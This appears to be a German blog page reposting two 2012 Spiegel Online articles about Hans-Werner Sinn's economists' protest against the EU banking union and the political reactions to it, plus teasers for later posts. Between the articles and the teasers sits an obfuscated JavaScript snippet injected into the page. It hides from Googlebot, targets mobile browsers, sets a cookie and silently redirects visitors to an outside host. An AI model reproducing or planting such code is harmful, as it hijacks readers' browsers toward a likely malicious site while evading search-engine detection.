Menü

POLITIKER ÜBERFORDERT…EURO-PROTEST


05.07.2012

Kritik an EU-Gipfel Top-Ökonomen rufen Bürger zu Euro-Protest auf


Ifo-Chef Sinn: "Wir sehen den Schritt in die Bankenunion mit großer Sorge" Zur Großansicht

Ifo-Chef Sinn: „Wir sehen den Schritt in die Bankenunion mit großer Sorge“

Deutsche
Ökonomen um den Ifo-Chef Hans-Werner Sinn rebellieren gegen die
Euro-Retter. Sie appellieren an Kanzlerin und Bürger, die Bankenunion zu
stoppen, die beim EU-Gipfel vorangetrieben wurde. „Unserer Wirtschaft
droht Gefahr.“



Hamburg – Die Euro-Rettung schadet Deutschland – diese These vertritt
Hans-Werner Sinn schon länger. Nun aber forciert er seinen Widerstand.
Zusammen mit anderen Wirtschaftswissenschaftlern plant der Ökonom einen
öffentlichen Aufruf gegen die Beschlüsse des jüngsten EU-Gipfels. Diese
seien falsch, heißt es in einem Entwurf, der SPIEGEL ONLINE vorliegt.
Weiter heißt es darin, Bundeskanzlerin Angela Merkel (CDU) sei auf dem
Brüsseler Gipfel am vergangenen Donnerstag und Freitag zur Zustimmung zu
den Beschlüssen „gezwungen“ worden.

Sinn ist Chef des Münchner Wirtschaftsforschungsinstituts Ifo. Immer
wieder warnt er, dass die Bundesbank auf Forderungen von 500 Milliarden
Euro an andere Notenbanken sitzenbleiben könnte, falls die europäische
Währungsunion zerbreche. „Wir sitzen in der Falle“, sagt Sinn.

Diese Sicht der Dinge hat Sinn bisher meist als Einzelmeinung
vorgetragen. Dass er seinen Protest nun in Form einer konzertierten
Aktion gemeinsam mit anderen Ökonomen organisiert, verleiht der Sache
jedoch deutlich mehr Gewicht.

In dem Entwurf des Appells warnen die Wissenschaftler besonders vor
der geplanten europäischen Bankenunion. Diese bedeute eine „kollektive
Haftung für die Schulden der Banken des Euro-Systems“. Da diese fast
dreimal so groß seien wie die Staatsschulden, sei es „schlechterdings
unmöglich, die Steuerzahler, Rentner und Sparer der bislang noch soliden
Länder Europas für die Absicherung dieser Schulden in die Haftung zu
nehmen“.

„Das war der Tropfen, der Fass zum Überlaufen brachte“

Zu den Erstunterzeichnern des Aufrufs gehören neben Sinn auch der
Freiburger Ökonom Bernd Raffelhüschen und Klaus Zimmermann, der frühere
Präsident des Deutschen Instituts für Wirtschaftsforschung (DIW). Als
Initiator tritt neben Sinn der Dortmunder Statistiker Walter Krämer auf.
Er sagte SPIEGEL ONLINE auf Anfrage, Sinn und er hätten sich über die
Ergebnisse des Euro-Gipfels dermaßen geärgert, dass sie den Entschluss
zu einem öffentlichen Appell fassten. Dieser richte sich vor allem gegen
die Bankenunion. „Das war der Tropfen, der das Fass zum Überlaufen
brachte.“ Es müsse auch in Zukunft möglich sein, dass marode Banken
pleitegehen. Sinn selbst war für eine Stellungnahme zunächst nicht zu
erreichen. Bislang haben 160 Wissenschaftler den Aufruf unterzeichnet.

Die EU-Pläne sehen unter
anderem vor, Banken direkt aus dem Rettungsfonds ESM zu
rekapitalisieren. Auch eine gemeinsame Einlagensicherung wird
diskutiert. Zugleich sollen die Geldinstitute durch eine europaweite
Aufsicht besser überwacht werden.
Sinn und seine Mitstreiter glauben aber nicht, dass sich die Risiken auf diese Weise unter Kontrolle halten lassen.

Die Begründung: Die Schuldnerländer verfügten über eine „strukturelle
Mehrheit“ im Euro-Raum. „Wenn die soliden Länder der Vergemeinschaftung
der Haftung für die Bankschulden grundsätzlich zustimmen, werden sie
immer wieder von neuem Pressionen ausgesetzt sein, diese Summen zu
vergrößern“, heißt es in dem Entwurf. „Streit und Zwietracht mit den
Nachbarn sind vorprogrammiert. Noch unsere Kinder und Enkel werden
darunter leiden.“

In der endgültigen Fassung des Appells ist diese Warnung nicht mehr
enthalten. Auch die Kritik an Merkel wurde abgeschwächt. Im ersten Satz
schreiben Sinn und Co. nun, „die Entscheidungen, zu denen sich die
Kanzlerin auf dem EU-Gipfel gezwungen sah“, seien falsch.

Der Text endet mit einem Appell an die Bürger: „Bitte tragen Sie
diese Sorgen den Abgeordneten Ihres Wahlkreises vor; unsere
Volksvertreter sollen wissen, welche Gefahren unserer Wirtschaft
drohen.“

dab/cte/ssu




Replik auf Hans-Werner Sinn

Volkswirte verteidigen Merkels Euro-Kurs


Kanzlerin Merkel: Gegenappell soll voraussichtlich am Freitag erscheinen Zur Großansicht


Kanzlerin Merkel: Gegenappell soll voraussichtlich am Freitag erscheinen


170 Ökonomen um
ifo-Chef Sinn rechnen mit dem Kurs der Kanzlerin ab, verdammen die
Brüsseler Gipfel-Beschlüsse und die Bankenunion. Angela Merkel reagiert
verärgert – und bekommt Unterstützung von Pro-Euro-Volkswirten. Die
arbeiten nach SPIEGEL-ONLINE-Informationen schon an einem Gegenappell.



Hamburg – Der Protest deutscher Wirtschaftswissenschaftler gegen die
Beschlüsse des jüngsten EU-Gipfels trifft auf ein geteiltes Echo.
Während einzelne Mitglieder der Regierungsparteien Verständnis für den
Appell von Ifo-Chef Hans-Werner Sinn und rund 170 weiteren
Wissenschaftlern zeigten, kritisierten Oppositionsvertreter und der
Wirtschaftsweise Peter Bofinger die Aktion zum Teil scharf. Auch
Bundeskanzlerin Angel Merkel (CDU) wies die Botschaft des Protestbriefs
mit deutlichen Worten zurück.

Durch die Brüsseler Gipfelbeschlüsse habe sich für Deutschland „nichts
geändert“, sagte Merkel am Donnerstag in Berlin. „Jeder sollte sich die
Beschlüsse gut anschauen.“ Bei der geplanten Bankenunion gehe es um eine
bessere Aufsicht und „überhaupt nicht um eine zusätzliche Haftung“.
Eine Haftung für Kreditinstitute sei nach wie vor ebenso „verboten wie
für Staaten“.

In ihrem Aufruf warnen Sinn und seine Mitstreiter, die geplante
europäische Bankenunion bringe unabsehbare Risiken mit sich. „Soliden“
Ländern wie Deutschland könnten durch hochverschuldete Länder immer
höhere Risiken aufgebürdet werden. Deshalb sollten die „lieben
Mitbürger“ ihre Volksvertreter vor den drohenden Gefahren warnen.

„Der Aufruf schadet dem öffentlichen Ansehen der deutschen
Wirtschaftswissenschaft“, sagte der Wirtschaftsweise Bofinger SPIEGEL
ONLINE. „In einer Diskussion, die naturgemäß durch viele Ängste und
Emotionen geprägt ist, muss die Aufgabe der Wissenschaft darin bestehen,
durch eine nüchterne Diagnose der Probleme und eine Analyse der Vor-
und Nachteile alternativer Therapien zu einer Versachlichung
beizutragen. Diesem Anspruch wird der Aufruf nicht gerecht.“

Bei ihrer Ablehnung der Bankenunion verschweigen die Autoren nach
Bofingers Ansicht, dass von möglichen Bankeninsolvenzen in Krisenländern
auch Geldinstitute in anderen Euro-Ländern betroffen wären. „Die
Hauptleidtragenden solcher Ansteckungseffekte sind deshalb nicht die
Wall Street oder die City of London“, schreibt Bofinger. „Sondern Banken
in Frankreich und Deutschland und damit auch der deutsche Sparer und
der deutsche Steuerzahler.“

„Hat mit ökonomischer Argumentation nichts zu tun“

Der Direktor des arbeitgebernahen Instituts der Deutschen Wirtschaft,
Michael Hüther, bezeichnete den Protestaufruf als „unverantwortlich“.
Diese Aktion habe „mit ökonomischer Argumentation nichts zu tun“, sagte
Hüther. Der Protestbrief ziele „nur auf Emotionen“ und baue „einen
Popanz auf“. Dennis Snower, Chef des Kieler Instituts für
Weltwirtschaft, sagte der „Financial Times Deutschland“: „Der Aufruf
schürt lediglich Ängste und zeigt keinen einzigen Weg zur Lösung der
Probleme auf.“

Ähnlich äußerte sich der finanzpolitische Sprecher der Grünen. „Ich
hoffe, dass sich die Deutschen nicht von diesen Stammtisch-Ökonomen
kirre machen lassen, die jetzt Politik machen wollen“, sagte Gerhard
Schick. „Der Status quo bedeutet, dass die Bankenrettungen viel teurer
werden als nötig und die Großbanken weiterhin subventioniert werden.“
Eine koordinierte Abwicklung europäischer Banken sei für die
Steuerzahler billiger. „Deshalb sprechen sich viele seriöse
Wissenschaftler, aber auch Institutionen wie zum Beispiel die BIZ, der
IWF und die EZB klar für eine Bankenunion aus.“

Doch aus der Opposition kommen auch andere Stimmen. „Die
Gipfelbeschlüsse drohten den Charakter des Rettungsschirms ESM
vollständig zu verändern“, sagte der haushaltspolitische Sprecher der
SPD, Carsten Schneider. „Aus einem Rettungsschirm für Staaten droht ein
Rettungsschirm für Banken zu werden“ Die SPD lehne eine gemeinsame
Haftung ohne klare Abwicklungsregeln ab, hatte Schneider zuvor bereits im Interview mit SPIEGEL ONLINE gewarnt.
Zudem könne die Europäische Zentralbank nicht wie geplant als
„Schiedsrichter“ die Bankenaufsicht übernehmen, da sie in der Euro-Krise
zugleich „Mitspieler“ sei.

„Der Aufschrei der Wissenschaft ist insoweit auch völlig
gerechtfertigt“, sagte Schneider. „Allerdings hat Herr Professor Sinn
bisher keine überzeugende Alternative vorgelegt, die den Zusammenhalt
der Währungsunion sichern würde. Dies ist schließlich auch im deutschen
Interesse.“

Zustimmung von der Linken

In einem Punkt stimmt sogar die Linke den Euro-Rettungskritikern zu:
„Es ist richtig, dass die Möglichkeit bestehen muss, dass Banken
pleitegehen“, sagt der finanzpolitische Sprecher, Axel Troost. Das sei
allerdings bei der derzeitigen Größe der Banken nicht vorstellbar. Die
Initiative der Professoren lehnte Troost dennoch ab. „Das schürt doch
nur weiter Ressentiments.“

Noch weiter geht die bekennende Kommunistin Sahra Wagenknecht. „Wo sie
recht haben, haben sie recht“, sagte die Linken-Politikerin über die
Ökonomen. Mit den Gipfelbeschlüssen „droht eine Schuldenunion zugunsten
der Banker, in der europäische Steuerzahler dauerhaft für die
Fehlspekulationen der Finanzmafia bluten sollen“.

CSU-Generalsekretär Alexander Dobrindt sagte hingegen, die Initiative
sei „ein mahnender Beitrag, dass die Umsetzung der viel zu weit
interpretierbaren Gipfelbeschlüsse nicht in die falsche Richtung gehen
darf“. Es dürften sich „nicht diejenigen in Europa durchsetzen, die mit
ihrer Schuldenpolitik gewissenlos den kommenden Generationen finanzielle
Lasten aufbürden wollen“.

Eine Reihe von Wirtschaftsexperten arbeitet nach Informationen von
SPIEGEL ONLINE bereits an einem Gegenappell, der voraussichtlich am
Freitag veröffentlicht werden soll und Merkels Euro-Politik gegen die
Kritik von Sinn in Schutz nimmt. Auch hier kommt es zu ungewöhnlichen
Allianzen: Zu den Unterzeichnern gehören voraussichtlich Peter Bofinger
und der Chef des gewerkschaftsnahen Instituts für Makroökonomie und
Konjunkturforschung, Gustav Horn. Beide sind bislang nicht als
Verbündete der Kanzlerin aufgefallen.

dab/cri/akm/AFP/dapd/dpa


Ökonomen um Hans-Werner Sinn in der Kritik
Heftvar _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Blog / Zeitgeschehen

Griechenland: SYRIZAs Dilemma und die verlogenen Reaktionen in Deutschland

am Fr, 30.01.2015 um 11:01
annotazioni.de – Blog zu wirtschafts-, verteilungs- und sozialpolitischen Themen Gregor Kritidis, Patrick Schreiner, 28. Januar 2015 | Ausgrenzung, Demokratie & Recht, Wirtschaft & Finanzen Dass die griechische Linkspartei SYRIZA einen fulminanten Wahlsieg landete, ist mehr als erfreulich. Es ist ein klares und deutliches Signal an Brüssel und Berlin, dass die griechischen WählerInnen die bisherige Austeritäts- […]

Religionen: Respekt? Wovor denn?

am Fr, 16.01.2015 um 11:16
©Die Zeit Respekt vor religiösen Gefühlen!, heißt es allenthalben. Michael Schmidt-Salomon hält es für falsch, auf die Befindlichkeiten von Gläubigen groß Rücksicht zu nehmen. VON MICHAEL SCHMIDT-SALOMON Eine Kirche und eine Moschee in Ramallah, Westjordanland  |  © Mohamad Torokman/Reuters Es wirkt wie ein bedingter Reflex: Kaum gehen religiöse Fanatiker auf die Barrikaden , sind westliche Politiker und Journalisten zur […]

Verwaltung des Stillstandes statt überfälliger Reformen

am Mi, 07.01.2015 um 16:52
Verwaltung des Stillstandes statt überfälliger Reformen Zangengriff von Parteien und Kammern lähmt Österreich Österreich ist immer noch eines der reichsten Länder Europas, verliert aber seit 2007/08 in allen Standort- und Wettbewerbsvergleichen kontinuierlich an Boden. Das Land braucht einen Befreiungsschlag. Matthäus Kattinger, Wien 1.1.2015, 05:30 Uhr Hypo Alpe Adria in Klagenfurt: Das Hypo-Desaster sollte für notwendige […]

Statistische Tricks – ÖSTERREICHS LUKRATIVE ARBEITSLOSE

am Do, 15.05.2014 um 13:30
Statistische Tricks Österreichs lukrative Arbeitslose Matthäus Kattinger, Wien, Gestern, 14. Mai 2014, 13:31 Der staatliche Arbeitsmarktservice (AMS) ist fest in der Hand rot-schwarzer Proporz-Politik.(Bild: Imago) Österreich ist bei der Langzeitarbeitslosigkeit nur dank statistischen Tricks Musterknabe. Schlimmer noch ist die Geschäftemacherei auf dem Rücken der Arbeitslosen. Ein 62-jähriger Personalchef wird 53 Tage vor Pensionsantritt vom Arbeitsamt in […]